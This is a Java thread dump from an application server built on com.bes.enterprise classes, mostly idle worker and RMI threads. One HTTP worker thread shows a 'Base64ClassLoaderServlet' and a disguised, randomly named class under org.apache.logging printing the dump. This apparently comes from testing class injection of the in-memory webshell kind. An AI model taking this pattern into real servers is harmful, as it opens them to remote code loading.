at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca77621
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3256970f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||
at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:519)
|
||||
at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:650)
|
||||
at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:38)
|
||||
|
||||
"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@462d7091
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"Common Lib Watcher" #19 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:92)
|
||||
|
||||
"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"gjc-connection-creator-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f77b5a1
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque.awaitAllowCreate(NoticableLinkedBlockingDeque.java:52)
|
||||
at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator.run(GenericObjectPool.java:293)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI TCP Accept-6600" #93 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
|
||||
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:675)
|
||||
at [email protected]/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
|
||||
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:617)
|
||||
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:574)
|
||||
at [email protected]/java.net.ServerSocket.accept(ServerSocket.java:532)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-1" #72 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||
at org.apache.logging.UKnKC.ErrorQvlgaHandler.toString(BasicInfoPrinter.java:26)
|
||||
at [email protected]/java.lang.String.valueOf(String.java:4220)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
|
||||
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:550)
|
||||
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133)
|
||||
at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
|
||||
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
|
||||
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388)
|
||||
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:473)
|
||||
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:950)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1955)
|
||||
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-8" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI Reaper" #94 [WAITING] on java.lang.ref.ReferenceQueue$Lock@1e9eceee
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||
at [email protected]/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI TCP Connection(1)-172.17.0.4" #96 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
|
||||
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-1900-4" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331a8c54
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-1900-3" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"File-watcher-0" #87 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"AppServer-utility-1" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-1900-2" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
